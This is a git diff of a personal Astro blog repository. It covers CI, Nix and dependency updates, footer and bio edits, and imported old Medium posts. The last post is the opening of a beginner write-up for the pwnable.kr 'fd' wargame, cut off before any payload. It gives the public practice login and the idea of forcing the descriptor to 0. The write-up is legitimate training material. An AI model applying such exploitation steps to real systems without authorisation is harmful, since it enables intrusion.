dot color

.tokeignore

@@ -1,3 +1,4 @@
 public
 package-lock.json
 src/styles/fork-awesome
+pnpm-lock.yaml

.woodpecker.yml

@@ -1,26 +0,0 @@
-steps:
-  build:
-    image: git.mzhang.io/michael/blog-docker-builder:x0m1c7r2qzc3qbyw8sfv5flfv75xiqdz
-    environment:
-      - ASTRO_TELEMETRY_DISABLED=1
-    commands:
-      - mkdir /tmp
-      - rm -rf node_modules
-      - npm i -g pnpm@9.4.0
-      - npx pnpm install --frozen-lockfile
-      - npx pnpm run build
-    when:
-      - event: push
-
-  deploy:
-    image: git.mzhang.io/michael/blog-docker-builder:x0m1c7r2qzc3qbyw8sfv5flfv75xiqdz
-    commands:
-      - echo "$${SSH_SECRET_KEY}" > SSH_SECRET_KEY
-      - chmod 600 SSH_SECRET_KEY
-      - mkdir -p ~/.ssh
-      - echo "mzhang.io ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO+RKFYjD8UjqhfOHFHNyijkbGzC4fJEIIhrBwHj+FsQ" >> known_hosts
-      - rsync -azrP -e "ssh -i SSH_SECRET_KEY -o UserKnownHostsFile=known_hosts" dist/ blogDeploy@mzhang.io:/home/blogDeploy/public
-    secrets: [SSH_SECRET_KEY]
-    when:
-      - branch: master
-        event: push

.woodpecker/deploy.yml

@@ -0,0 +1,27 @@
+steps:
+  build:
+    image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
+    environment:
+      - ASTRO_TELEMETRY_DISABLED=1
+    commands:
+      - mkdir /tmp
+      - rm -rf node_modules
+      - npm i -g pnpm@9.4.0
+      - npx pnpm install --frozen-lockfile
+      - npx pnpm run build
+    when:
+      - event: push
+
+  deploy:
+    image: git.mzhang.io/michael/blog-docker-builder:6gzd1rhcl41y02yw4z9kpjgrhxifqyfs
+    commands:
+      - mc alias set $AWS_DEFAULT_REGION $AWS_ENDPOINT_URL $AWS_ACCESS_KEY_ID $AWS_SECRET_ACCESS_KEY --api S3v4
+      - mc mirror --overwrite ./dist/ $AWS_DEFAULT_REGION/mzhang-io-website/
+    secrets:
+      - AWS_ACCESS_KEY_ID
+      - AWS_DEFAULT_REGION
+      - AWS_ENDPOINT_URL
+      - AWS_SECRET_ACCESS_KEY
+    when:
+      - branch: master
+        event: push

README.md

@@ -2,4 +2,4 @@
 
 https://mzhang.io
 
-License: GPL-3.0 / CC-BY-SA-4.0
+License: GPL-3.0 code / CC-BY-SA-4.0 contents

astro.config.ts

@@ -22,6 +22,7 @@ const publicDir = "public";
 // https://astro.build/config
 export default defineConfig({
   site: "https://mzhang.io",
+  prefetch: true,
   integrations: [mdx(), sitemap(), markdoc()],
 
   outDir,

flake.lock

@@ -3,14 +3,16 @@
     "agda": {
       "inputs": {
         "flake-parts": "flake-parts",
-        "nixpkgs": "nixpkgs"
+        "nixpkgs": [
+          "nixpkgs"
+        ]
       },
       "locked": {
-        "lastModified": 1719426791,
-        "narHash": "sha256-jiPGzJM+XMwb1OwyxpbY6jV0Lzr5yLKnPSMZbueFNRM=",
+        "lastModified": 1729253305,
+        "narHash": "sha256-S7/C8VGMrXeGhFeYXx1cVBjZlNVB5L1o/SkW0hFm0Jc=",
         "owner": "agda",
         "repo": "agda",
-        "rev": "777b07f573c7526d677c18c25e44b24a849bc03b",
+        "rev": "3425ed5543d2e6f98094b834fedcdec3a2fb67a6",
         "type": "github"
       },
       "original": {
@@ -42,11 +44,11 @@
         "systems": "systems"
       },
       "locked": {
-        "lastModified": 1710146030,
-        "narHash": "sha256-SZ5L6eA7HJ/nmkzGG7/ISclqe6oZdOZTNoesiInkXPQ=",
+        "lastModified": 1726560853,
+        "narHash": "sha256-X6rJYSESBVr3hBoH0WbKE5KvhPU5bloyZ2L4K60/fPQ=",
         "owner": "numtide",
         "repo": "flake-utils",
-        "rev": "b1d9ab70662946ef0850d488da1c9019f3a9752a",
+        "rev": "c1dfcf08411b08f6b8615f7d8971a2bfa81d5e8a",
         "type": "github"
       },
       "original": {
@@ -56,18 +58,16 @@
     },
     "nixpkgs": {
       "locked": {
-        "lastModified": 1702346276,
-        "narHash": "sha256-eAQgwIWApFQ40ipeOjVSoK4TEHVd6nbSd9fApiHIw5A=",
+        "lastModified": 1729265718,
+        "narHash": "sha256-4HQI+6LsO3kpWTYuVGIzhJs1cetFcwT7quWCk/6rqeo=",
         "owner": "NixOS",
         "repo": "nixpkgs",
-        "rev": "cf28ee258fd5f9a52de6b9865cdb93a1f96d09b7",
+        "rev": "ccc0c2126893dd20963580b6478d1a10a4512185",
         "type": "github"
       },
       "original": {
-        "owner": "NixOS",
-        "ref": "nixos-23.11",
-        "repo": "nixpkgs",
-        "type": "github"
+        "id": "nixpkgs",
+        "type": "indirect"
       }
     },
     "nixpkgs-lib": {
@@ -88,25 +88,11 @@
         "type": "github"
       }
     },
-    "nixpkgs_2": {
-      "locked": {
-        "lastModified": 1718089647,
-        "narHash": "sha256-COO4Xk2EzlZ3x9KCiJildlAA6cYDSPlnY8ms7pKl2Iw=",
-        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "rev": "f7207adcc68d9cafa29e3cd252a18743ae512c6a",
-        "type": "github"
-      },
-      "original": {
-        "id": "nixpkgs",
-        "type": "indirect"
-      }
-    },
     "root": {
       "inputs": {
         "agda": "agda",
         "flake-utils": "flake-utils",
-        "nixpkgs": "nixpkgs_2"
+        "nixpkgs": "nixpkgs"
       }
     },
     "systems": {

flake.nix

@@ -1,12 +1,13 @@
 {
   inputs.agda.url = "github:agda/agda";
+  inputs.agda.inputs.nixpkgs.follows = "nixpkgs";
   outputs = { self, nixpkgs, flake-utils, agda, }:
     flake-utils.lib.eachDefaultSystem (system:
       let
-        pkgs = import nixpkgs { inherit system; };
+        pkgs = import nixpkgs { inherit system; overlays = [ agda.overlays.default ]; };
         agda-pkg = agda.packages.x86_64-linux.default;
         flakePkgs = rec {
-          agda-bin = pkgs.callPackage ./nix/agda-bin.nix { inherit agda-pkg; };
+          agda-bin = pkgs.callPackage ./nix/agda-bin.nix { agda-pkg = pkgs.haskellPackages.Agda.bin; };
           docker-builder =
             pkgs.callPackage ./nix/docker-builder.nix { inherit agda-bin; };
         };
@@ -18,13 +19,9 @@
           packages = with pkgs;
             with flakePkgs; [
               bun
-              woodpecker-cli
               nixfmt-rfc-style
-              dive
               nix-tree
-              vips
               shellcheck
-              agda-bin
 
               nodejs_20
               corepack

nix/agda-bin.nix

@@ -6,8 +6,8 @@ let
     writeTextFile {
       name = "agda-libraries";
       text = ''
-        ${agdaPackages.cubical}/cubical.agda-lib
-        ${agdaPackages.standard-library}/standard-library.agda-lib
+        ${agdaPackages.cubical.src}/cubical.agda-lib
+        ${agdaPackages.standard-library.src}/standard-library.agda-lib
       '';
     };
 

nix/docker-builder.nix

@@ -1,13 +1,15 @@
 { dockerTools
 , agda-bin
-, corepack
-, rsync
-, openssh
 , bash
+, corepack
 , coreutils
-, nodejs_20
+, gitMinimal
 , gnused
+, minio-client
+, nodejs_20
+, openssh
 , pkgsLinux
+, rsync
 }:
 
 dockerTools.buildLayeredImage {
@@ -15,16 +17,18 @@ dockerTools.buildLayeredImage {
 
   contents = with dockerTools; [
     agda-bin
-    corepack
-    rsync
-    openssh
     bash
-    coreutils
-    nodejs_20
-    gnused
-    usrBinEnv
     caCertificates
+    corepack
+    coreutils
     fakeNss
+    gitMinimal
+    gnused
+    minio-client
+    nodejs_20
+    openssh
+    rsync
+    usrBinEnv
   ];
 
   # fakeRootCommands = ''

package.json

@@ -34,11 +34,13 @@
     "remark-github-beta-blockquote-admonitions": "^2.2.1",
     "remark-math": "^5.1.1",
     "remark-parse": "^10.0.2",
+    "sanitize-html": "^2.13.1",
     "sharp": "^0.33.4"
   },
   "devDependencies": {
     "@biomejs/biome": "^1.8.2",
     "@types/lodash-es": "^4.17.12",
+    "@types/sanitize-html": "^2.13.0",
     "date-fns": "^2.30.0",
     "hast-util-from-html": "^2.0.1",
     "hast-util-to-html": "^9.0.1",

plugin/remark-admonitions.ts

@@ -89,9 +89,7 @@ export const mkdocsConfig: Partial<Config> = {
   titleFilter: (title) => Boolean(title.match(TITLE_PATTERN)),
 
   titleTextMap: (title: string) => {
-    console.log("title", title);
     const match = title.match(TITLE_PATTERN);
-    console.log("matches", match);
     const displayTitle = match?.[1] ?? "";
     const checkedTitle = displayTitle;
     return { displayTitle, checkedTitle };

plugin/remark-agda.ts

@@ -14,7 +14,7 @@ import {
   writeFileSync,
 } from "node:fs";
 import { tmpdir } from "node:os";
-import { join, parse } from "node:path";
+import { join, parse, resolve, basename } from "node:path";
 import { visit } from "unist-util-visit";
 import type { RemarkPlugin } from "@astrojs/markdown-remark";
 
@@ -36,8 +36,6 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
 
     const tempDir = mkdtempSync(join(tmpdir(), "agdaRender."));
     const agdaOutDir = join(tempDir, "output");
-    const agdaOutFilename = parse(path).base.replace(/\.lagda.md/, ".md");
-    const agdaOutFile = join(agdaOutDir, agdaOutFilename);
     mkdirSync(agdaOutDir, { recursive: true });
 
     const childOutput = spawnSync(
@@ -52,21 +50,28 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
       {},
     );
 
-    if (childOutput.error || !existsSync(agdaOutFile)) {
+    // Locate output file
+    const directory = readdirSync(agdaOutDir);
+    const outputFilename = directory.find((name) => name.endsWith(".md"));
+
+    if (childOutput.status !== 0 || outputFilename === undefined) {
       throw new Error(
-        `Agda error:
+        `Agda output:
 
         Stdout:
         ${childOutput.stdout}
 
         Stderr:
-        ${childOutput.stderr}`,
+        ${childOutput.stderr}
+        `,
         {
           cause: childOutput.error,
         },
       );
     }
 
+    const outputFile = join(agdaOutDir, outputFilename);
+
     // // TODO: Handle child output
     // console.error("--AGDA OUTPUT--");
     // console.error(childOutput);
@@ -104,9 +109,12 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
       }
     }
 
-    const htmlname = parse(path).base.replace(/\.lagda.md/, ".html");
+    const htmlname = basename(resolve(outputFile)).replace(
+      /(\.lagda)?\.md/,
+      ".html",
+    );
 
-    const doc = readFileSync(agdaOutFile);
+    const doc = readFileSync(outputFile);
 
     // This is the post-processed markdown with HTML code blocks replacing the Agda code blocks
     const tree2 = fromMarkdown(doc);
@@ -125,7 +133,9 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
           const [href, hash, ...rest] = node.properties.href.split("#");
           if (rest.length > 0) throw new Error("come look at this");
 
-          if (href === htmlname) node.properties.href = `#${hash}`;
+          if (href === htmlname) {
+            node.properties.href = `#${hash}`;
+          }
 
           if (referencedFiles.has(href)) {
             node.properties.href = `${base}generated/agda/${href}${hash ? `#${hash}` : ""}`;
@@ -143,13 +153,25 @@ const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
     });
 
     let idx = 0;
+    try {
       visit(tree, "code", (node) => {
         if (!(node.lang === null || node.lang === "agda")) return;
 
+        if (idx > collectedCodeBlocks.length) {
+          throw new Error("failed");
+        }
+
         node.type = "html";
         node.value = collectedCodeBlocks[idx].contents;
         idx += 1;
       });
+    } catch (e) {
+      // TODO: Figure out a way to handle this correctly
+      // Possibly by diffing?
+      console.log(
+        "Mismatch in number of args. Perhaps there was an empty block?",
+      );
+    }
   };
 };
 

pnpm-lock.yaml

@@ -74,6 +74,9 @@ importers:
       remark-parse:
         specifier: ^10.0.2
         version: 10.0.2
+      sanitize-html:
+        specifier: ^2.13.1
+        version: 2.13.1
       sharp:
         specifier: ^0.33.4
         version: 0.33.4
@@ -84,6 +87,9 @@ importers:
       '@types/lodash-es':
         specifier: ^4.17.12
         version: 4.17.12
+      '@types/sanitize-html':
+        specifier: ^2.13.0
+        version: 2.13.0
       date-fns:
         specifier: ^2.30.0
         version: 2.30.0
@@ -1168,6 +1174,9 @@ packages:
   '@types/parse5@6.0.3':
     resolution: {integrity: sha512-SuT16Q1K51EAVPz1K29DJ/sXjhSQ0zjvsypYJ6tlwVsRV9jwW5Adq2ch8Dq8kDBCkYnELS7N7VNCSB5nC56t/g==}
 
+  '@types/sanitize-html@2.13.0':
+    resolution: {integrity: sha512-X31WxbvW9TjIhZZNyNBZ/p5ax4ti7qsNDBDEnH4zAgmEh35YnFD1UiS6z9Cd34kKm0LslFW0KPmTQzu/oGtsqQ==}
+
   '@types/sax@1.2.7':
     resolution: {integrity: sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==}
 
@@ -1457,6 +1466,10 @@ packages:
     resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==}
     engines: {node: '>=4.0.0'}
 
+  deepmerge@4.3.1:
+    resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==}
+    engines: {node: '>=0.10.0'}
+
   dequal@2.0.3:
     resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==}
     engines: {node: '>=6'}
@@ -1560,6 +1573,10 @@ packages:
     resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==}
     engines: {node: '>=0.8.0'}
 
+  escape-string-regexp@4.0.0:
+    resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}
+    engines: {node: '>=10'}
+
   escape-string-regexp@5.0.0:
     resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==}
     engines: {node: '>=12'}
@@ -1807,6 +1824,9 @@ packages:
   html-void-elements@3.0.0:
     resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==}
 
+  htmlparser2@8.0.2:
+    resolution: {integrity: sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==}
+
   htmlparser2@9.1.0:
     resolution: {integrity: sha512-5zfg6mHUoaer/97TxnGpxmbR7zJtPwIYFMZ/H5ucTlPZhKvtum05yiPK3Mgai3a0DyVxv7qYqoweaEd2nrYQzQ==}
 
@@ -1917,6 +1937,10 @@ packages:
     resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==}
     engines: {node: '>=12'}
 
+  is-plain-object@5.0.0:
+    resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==}
+    engines: {node: '>=0.10.0'}
+
   is-reference@3.0.2:
     resolution: {integrity: sha512-v3rht/LgVcsdZa3O2Nqs+NMowLOxeOm7Ay9+/ARQ2F+qEoANRcqrjAZKGN0v8ymUetZGgkp26LTnGT7H0Qo9Pg==}
 
@@ -2509,6 +2533,9 @@ packages:
   parse-latin@7.0.0:
     resolution: {integrity: sha512-mhHgobPPua5kZ98EF4HWiH167JWBfl4pvAIXXdbaVohtK7a6YBOy56kvhCqduqyo/f3yrHFWmqmiMg/BkBkYYQ==}
 
+  parse-srcset@1.0.2:
+    resolution: {integrity: sha512-/2qh0lav6CmI15FzA3i/2Bzk2zCgQhGMkvhOhKNcBVQ1ldgpbfiNTVslmooUmWJcADi1f1kIeynbDRVzNlfR6Q==}
+
   parse5@6.0.1:
     resolution: {integrity: sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==}
 
@@ -2774,6 +2801,9 @@ packages:
   safer-buffer@2.1.2:
     resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==}
 
+  sanitize-html@2.13.1:
+    resolution: {integrity: sha512-ZXtKq89oue4RP7abL9wp/9URJcqQNABB5GGJ2acW1sdO8JTVl92f4ygD7Yc9Ze09VAZhnt2zegeU0tbNsdcLYg==}
+
   sass-formatter@0.7.9:
     resolution: {integrity: sha512-CWZ8XiSim+fJVG0cFLStwDvft1VI7uvXdCNJYXhDvowiv+DsbD1nXLiQ4zrE5UBvj5DWZJ93cwN0NX5PMsr1Pw==}
 
@@ -4253,6 +4283,10 @@ snapshots:
 
   '@types/parse5@6.0.3': {}
 
+  '@types/sanitize-html@2.13.0':
+    dependencies:
+      htmlparser2: 8.0.2
+
   '@types/sax@1.2.7':
     dependencies:
       '@types/node': 17.0.45
@@ -4598,6 +4632,8 @@ snapshots:
   deep-extend@0.6.0:
     optional: true
 
+  deepmerge@4.3.1: {}
+
   dequal@2.0.3: {}
 
   detect-libc@1.0.3:
@@ -4743,6 +4779,8 @@ snapshots:
 
   escape-string-regexp@1.0.5: {}
 
+  escape-string-regexp@4.0.0: {}
+
   escape-string-regexp@5.0.0: {}
 
   esprima@4.0.1: {}
@@ -5129,6 +5167,13 @@ snapshots:
 
   html-void-elements@3.0.0: {}
 
+  htmlparser2@8.0.2:
+    dependencies:
+      domelementtype: 2.3.0
+      domhandler: 5.0.3
+      domutils: 3.1.0
+      entities: 4.5.0
+
   htmlparser2@9.1.0:
     dependencies:
       domelementtype: 2.3.0
@@ -5215,6 +5260,8 @@ snapshots:
 
   is-plain-obj@4.1.0: {}
 
+  is-plain-object@5.0.0: {}
+
   is-reference@3.0.2:
     dependencies:
       '@types/estree': 1.0.5
@@ -6258,6 +6305,8 @@ snapshots:
       unist-util-visit-children: 3.0.0
       vfile: 6.0.1
 
+  parse-srcset@1.0.2: {}
+
   parse5@6.0.1: {}
 
   parse5@7.1.2:
@@ -6643,6 +6692,15 @@ snapshots:
 
   safer-buffer@2.1.2: {}
 
+  sanitize-html@2.13.1:
+    dependencies:
+      deepmerge: 4.3.1
+      escape-string-regexp: 4.0.0
+      htmlparser2: 8.0.2
+      is-plain-object: 5.0.0
+      parse-srcset: 1.0.2
+      postcss: 8.4.38
+
   sass-formatter@0.7.9:
     dependencies:
       suf-log: 2.5.3

public/robots.txt

@@ -1,2 +1,3 @@
 User-agent: *
 Allow: /
+Disallow: /drafts

src/components/Footer.astro

@@ -1,16 +1,27 @@
 ---
 import "../styles/footer.scss";
+import { execSync } from "node:child_process";
+
+const dateUpdated = new Date();
+const gitRevShort = execSync("git rev-parse --short HEAD").toString().trim();
+const gitRev = execSync("git rev-parse HEAD").toString().trim();
 ---
 
 <footer>
   <p>
-    Blog code licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
-      >GPL-3.0</a
-    >. Post contents licensed under <a
-      href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt">CC BY-SA 4.0</a
+    Blog theme and contents written by Michael Zhang with the <a
+      href="https://astro.build/"
+      target="_blank"
+      rel="noreferrer noopener">Astro</a
+    > framework.
+    <br />
+    Last updated {dateUpdated.toLocaleString(undefined, { dateStyle: "full" })} at commit
+    <a
+      href={`https://git.mzhang.io/michael/blog/commit/${gitRev}`}
+      class="colorlink"
+      target="_blank">{gitRevShort}</a
     >.
     <br />
-     Written by Michael Zhang.
-    <a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source</a>.
+    <a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source code</a>.
   </p>
 </footer>

src/components/LeftNav.astro

@@ -4,15 +4,21 @@ import { Content as ShortBio } from "../content/partials/shortBio.md";
 import links from "../data/links";
 import { Image } from "astro:assets";
 import portrait from "../assets/self.png";
+
+const target = Astro.url.pathname === "/" ? "/about/" : "/";
 ---
 
 <nav class="side-nav">
   <div class="side-nav-content">
-    <a href="/" class="portrait">
-      <Image src={portrait} alt="portrait" class="portrait" />
+    <a href={target} class="portrait" data-astro-prefetch>
+      <Image src={portrait} alt="portrait" class="portrait" width={350} height={350} loading="eager" />
     </a>
     <div class="me">
-      <h1 class="title">Michael Zhang</h1>
+      <div class="titleContainer">
+        <h1 class="title">
+          <a href={target} data-astro-prefetch>Michael Zhang</a>
+        </h1>
+      </div>
       <div class="links">
         {
           links.map((link) => {
@@ -28,7 +34,7 @@ import portrait from "../assets/self.png";
 
     <div class="bio">
       <ShortBio />
-      <a href="/about">More &raquo;</a>
+      <a href="/about/">More &raquo;</a>
     </div>
   </div>
 </nav>

src/components/PostList.astro

@@ -79,7 +79,7 @@ const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
 <style lang="scss">
   .postListing {
     width: 100%;
-    border-spacing: 6px 24px;
+    border-spacing: 0px 24px;
 
     :global(.timestamp) {
       font-family: var(--monofont);

src/components/TagList.astro

@@ -8,7 +8,7 @@ const { extraFront, tags, extraBack } = Astro.props;
   {extraFront}
   {
     tags.toSorted().map((tag: string) => (
-      <a href={`/tags/${tag}`} class="tag">
+      <a href={`/tags/${tag}/`} class="tag">
         <i class="fa fa-tag" aria-hidden="true" />
         <span class="text">#{tag}</span>
       </a>

src/consts.ts

@@ -1,5 +1,5 @@
 // Place any global data in this file.
 // You can import this data from anywhere in your site by using the `import` keyword.
 
-export const SITE_TITLE = "Astro Blog";
-export const SITE_DESCRIPTION = "Welcome to my website!";
+export const SITE_TITLE = "Michael's Blog";
+export const SITE_DESCRIPTION = "Michael's Blog";

src/content/partials/shortBio.md

@@ -1,7 +1,7 @@
 I'm a computer science master's student at the [University of Minnesota][1], advised by [Favonia].
-My current research is cubical type theory and its applications to formalizing some results in algebraic topology.
+My current research topic is in cubical type theory and formalization of the Serre spectral sequence.
 
-I also work as a researcher for [SIFT], specializing in compilers and binary analysis. Previously I worked as a software engineer at [Swoop Search] and [AWS].
+I've also worked as a researcher for [SIFT], specializing in compilers and binary analysis. Previously I worked as a software engineer at [Swoop Search] and [AWS].
 
 Before that, I was a CTF hobbyist. I created [EasyCTF], a cybersecurity competition for high schoolers.
 I also briefly played with the CTF team [Project Sekai][pjsk].

src/content/posts/2014-12-28_How-to-accomplish-something.md

@@ -0,0 +1,31 @@
+---
+title: How to accomplish something.
+date: 2014-12-28T06:18:06.940Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+    <section data-field="subtitle" class="p-summary">
+        It’s really simple.
+    </section>
+    <section data-field="body" class="e-content">
+        <section name="d840" class="section section--body section--first section--last">
+            <div class="section-content">
+                <div class="section-inner sectionLayout--insetColumn">
+                    <p name="c074" id="c074" class="graf graf--p graf-after--h3">Don’t.</p>
+                    <p name="8add" id="8add" class="graf graf--p graf-after--p">Give.</p>
+                    <p name="2290" id="2290" class="graf graf--p graf-after--p">Up.</p>
+                    <p name="6014" id="6014" class="graf graf--p graf-after--p graf--trailing">Simple.</p>
+                </div>
+            </div>
+        </section>
+    </section>
+    <footer>
+        <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+                href="https://medium.com/p/f5c2ca623a76"><time class="dt-published"
+                    datetime="2014-12-28T06:18:06.940Z">December 28, 2014</time></a>.</p>
+        <p><a href="https://medium.com/@failedxyz/how-to-accomplish-something-f5c2ca623a76"
+                class="p-canonical">Canonical link</a></p>
+        <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+    </footer>
+</article>

src/content/posts/2015-03-19_A-Much-Needed-Apology.md

@@ -0,0 +1,74 @@
+---
+title: A Much-Needed Apology
+date: 2015-03-19T23:34:26.674Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="276e" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="cbee" id="cbee" class="graf graf--p graf-after--h3">If you’re participating in CTCTF this week, I
+            know it has been a hard week, and I have a huge apology to make, about several things.</p>
+          <p name="aa08" id="aa08" class="graf graf--p graf-after--p">I should not have helped out with this CTF. I
+            didn’t have much time to work on it, I was busy with school, and it really wasn’t a good time for me to be
+            doing it. However, I was really stupid so I decided to jump in anyway.</p>
+          <p name="def7" id="def7" class="graf graf--p graf-after--p"><strong
+              class="markup--strong markup--p-strong">If you’re in a rush, and you don’t care about all this stuff,
+              skip down to the bottom for the final hint.</strong></p>
+          <h4 name="dae6" id="dae6" class="graf graf--h4 graf-after--p">Backend</h4>
+          <p name="a52e" id="a52e" class="graf graf--p graf-after--h4">The website backend problems were completely my
+            fault. Things like the problems page saying your problem was unsolved when you actually received points
+            for it, or not being able to submit answers for problems because it said “You’ve already tried this.” Part
+            of this was not havingenough time to thoroughly test the server and catch all the problems.</p>
+          <h4 name="a9f0" id="a9f0" class="graf graf--h4 graf-after--p">IRC</h4>
+          <p name="6939" id="6939" class="graf graf--p graf-after--h4">This really isn’t my problem. But I’ll address
+            it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and
+            does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features
+            including:</p>
+          <ul class="postList">
+            <li name="c5b2" id="c5b2" class="graf graf--li graf-after--p">Authentication — people just stole other
+              people’s usernames.</li>
+            <li name="379e" id="379e" class="graf graf--li graf-after--li">Operators — we lost all ops in the original
+              channel <em class="markup--em markup--li-em">and</em> the new channel.</li>
+            <li name="033c" id="033c" class="graf graf--li graf-after--li">Connection issues—we got lots of ECONNRESET
+              issues with KiwiIRC.</li>
+          </ul>
+          <h4 name="dd66" id="dd66" class="graf graf--h4 graf-after--li">Problems</h4>
+          <p name="1114" id="1114" class="graf graf--p graf-after--h4">I don’t know what to say about this. I urged
+            the other team members to shorten the duration of the competition to 3 days, but they wouldn’t budge, so
+            we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of
+            them in an hour.</p>
+          <p name="e3aa" id="e3aa" class="graf graf--p graf-after--p">We weren’t even going to use 1023megabytes
+            originally. But because of the immediate lack of problems, I figured we would need it.</p>
+          <p name="ebdb" id="ebdb" class="graf graf--p graf-after--p">When the competition started, there were only 18
+            questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If you’re running a competition,
+            you’d want to keep your participants’ interests as long as possible; there’s no point if everyone quits
+            after a day — which is basically what happened.</p>
+          <p name="6d7d" id="6d7d" class="graf graf--p graf-after--p">I figured the purpose of creating such an
+            insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the
+            verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the
+            last one.</p>
+          <h4 name="110a" id="110a" class="graf graf--h4 graf-after--p">Hints</h4>
+          <p name="a74e" id="a74e" class="graf graf--p graf-after--h4">This is the final hint for “3 hard 3 me”: base
+            16, base 2, base 3.</p>
+          <p name="25ea" id="25ea" class="graf graf--p graf-after--p">For 1023megabytes, you probably already made
+            some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and
+            the flag will be on a userpage.</p>
+          <p name="a67a" id="a67a" class="graf graf--p graf-after--p graf--trailing">I feel like I owe this to
+            everyone for a bad competition and hope you forgive me for all these mistakes. They won’t happen again. I
+            guess I’ll see you guys at the next CTF.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/8f50537a8932"><time class="dt-published" datetime="2015-03-19T23:34:26.674Z">March
+          19, 2015</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/a-much-needed-apology-8f50537a8932" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2015-10-20_Pwnable-kr--fd--1.md

@@ -0,0 +1,44 @@
+---
+title: "Pwnable.kr: fd (1)"
+date: 2015-10-20T18:20:38.431Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="1d23" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="ec7e" id="ec7e" class="graf graf--p graf-after--h3">This is my first writeup. The problem reads:
+          </p>
+          <blockquote name="b33e" id="b33e" class="graf graf--blockquote graf-after--p">Mommy! what is a file
+            descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</blockquote>
+          <p name="0cc2" id="0cc2" class="graf graf--p graf-after--blockquote">Since it tells us to SSH to their
+            server, we’ll do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag,
+            the target file we are trying to read, but is currently protected by root. Let’s begin by analyzing fd.c.
+          </p>
+          <p name="3ba1" id="3ba1" class="graf graf--p graf-after--p">At the if statement, the program is checking buf
+            against the string LETMEWIN. Where is buf being read? It’s being read from a variable called fd, which is
+            a <a href="https://en.wikipedia.org/wiki/File_descriptor"
+              data-href="https://en.wikipedia.org/wiki/File_descriptor" class="markup--anchor markup--p-anchor"
+              rel="noopener" target="_blank"><strong class="markup--strong markup--p-strong">file
+                descriptor</strong></a>. Since the only way we can give input to the program is STDIN_FILENO, we have
+            to make sure fd is set to 0.</p>
